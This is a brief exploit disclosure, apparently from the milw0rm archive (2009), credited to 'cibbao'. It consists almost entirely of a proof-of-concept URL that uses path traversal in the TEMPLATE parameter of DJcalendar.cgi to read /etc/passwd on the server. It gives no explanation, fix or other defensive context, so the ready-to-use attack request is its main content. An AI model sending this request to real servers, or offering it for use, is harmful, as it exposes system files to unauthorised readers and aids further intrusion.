Discovered by cibbao

PoC:

/cgi-bin/DJcalendar.cgi?TEMPLATE=/../../../../../../../etc/passwd

# milw0rm.com [2009-07-14]